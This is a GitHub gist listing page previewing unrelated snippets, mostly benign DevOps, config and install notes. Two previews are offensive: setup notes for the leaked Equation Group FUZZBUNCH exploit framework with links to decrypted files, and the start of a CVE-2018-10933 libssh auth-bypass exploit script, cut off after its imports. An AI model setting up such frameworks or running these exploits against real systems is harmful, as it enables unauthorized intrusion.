Skip to content

Instantly share code, notes, and snippets.

View tomahock's full-sized avatar

João Pina tomahock

View GitHub Profile
@grahamc
grahamc / Makefile
Last active September 30, 2015 23:19
AWS Instance Age Report (run `make`)
fresh: clean chart
chart: instance_ages
@echo "AWS EC2 Instance Age Report"
@echo "---------------------------"
@echo "Days\\tCount"
@cat instance_ages | ./chart.py -n
clean:
rm -f instance*
ASAPP DevOps and Systems Engineering Challenge
==============================================
v0.1
Welcome to your challenge project!
You have two timeline options. If you live outside of NY and would have to fly in for your onsite, we strongly prefer that you take option 1. If coming in to the office is easy for you, then whichever you prefer is great.
Option 1: Code at home, half-day at ASAPP
@jexp
jexp / RunNeo4jImport.bat
Last active May 24, 2017 08:41
launch neo4j-shell in Neo4j-Desktop (exe on Windows, dmg on OSX)
"C:\Program Files\Neo4j Community\jre\bin\java" -cp "C:\Program Files\Neo4j Community\bin\neo4j-desktop-3.0.2.jar" \
org.neo4j.tooling.ImportTool %*
@drandreaskrueger
drandreaskrueger / ethereum_debian8.txt
Last active April 5, 2022 07:00
Debian 8 - ethereum and eth-dev-tools - installation manual
#
# Ethereum and eth-dev-tools: Debian 8
#
# rev 9
#
# started midsummer 2016-06-21 Andreas Krueger
# https://github.com/drandreaskrueger
# https://twitter.com/drandreaskruger
# please contact me with improvements, thanks.
#
@andrepcg
andrepcg / dns.md
Created June 12, 2019 09:14
Usar Pi-Hole em todos os devices da rede (excepto box IPTV da vodafone)
  1. Activar servidor DHCP no Pi-Hole
  2. Criar ficheiro /etc/dnsmasq.d/03-vodafone.conf
  3. Adicionar a seguinte configuração ao ficheiro
dhcp-host=<MAC ADDRESS DA TV BOX>,set:vodafone
dhcp-option=tag:vodafone,option:dns-server,<IP DO ROUTER DA VODAFONE>

Agora a Box continua a funcionar porque usa o DNS que o router da Vodafone lhe dá e todos os restantes dispositivos na rede utilizam o DNS anunciado pelo servidor DHCP que é o do Pi-Hole

Notes on Shadow Brokers EQGRP-LiT

credit: @GossiTheDog: "If you want to setup FUZZBUNCH (the Equation exploit framework) you need Win7 VM + Python 2.6 + Pywin 2.6, then python fb.py for shell"
h/t @x0rz @DEYCrypt @hackerfantastic

HOW 2 SETUP + INSTALL FUZZBUNCH & DANDERSPRITZ

context: https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation
writeup: https://www.trustedsec.com/blog/equation-group-dump-analysis-full-rce-win7-fully-patched-cobalt-strike/
decrypted files: https://github.com/x0rz/EQGRP_Lost_in_Translation

@renchap
renchap / README.md
Last active October 12, 2022 17:14
One-line certificate generation/renews with Letsencrypt and nginx

Prerequisites : the letsencrypt CLI tool

This method allows your to generate and renew your Lets Encrypt certificates with 1 command. This is easily automatable to renew each 60 days, as advised.

You need nginx to answer on port 80 on all the domains you want a certificate for. Then you need to serve the challenge used by letsencrypt on /.well-known/acme-challenge. Then we invoke the letsencrypt command, telling the tool to write the challenge files in the directory we used as a root in the nginx configuration.

I redirect all HTTP requests on HTTPS, so my nginx config looks like :

server {
@umidjons
umidjons / files-array-normalize.md
Created March 31, 2014 14:35
Normalize $_FILES array when uploading multiple files (from php.net)

Normalize $_FILES array when uploading multiple files

When uploading multiple files, the $_FILES variable is created in the form:

Array
(
    [name] => Array
        (
            [0] => foo.txt
@graceavery
graceavery / harryPotterAliases
Last active May 10, 2023 02:51
bash aliases for Harry Potter enthusiasts
alias accio=wget
alias avadaKedavra='rm -f'
alias imperio=sudo
alias priorIncantato='echo `history |tail -n2 |head -n1` | sed "s/[0-9]* //"'
alias stupefy='sleep 5'
alias wingardiumLeviosa=mv
alias sonorus='set -v'
alias quietus='set +v'
#!/usr/bin/env python
# Based on https://www.openwall.com/lists/oss-security/2018/08/16/1
# untested CVE-2018-10933
import sys, paramiko
import logging
username = sys.argv[1]
hostname = sys.argv[2]
command = sys.argv[3]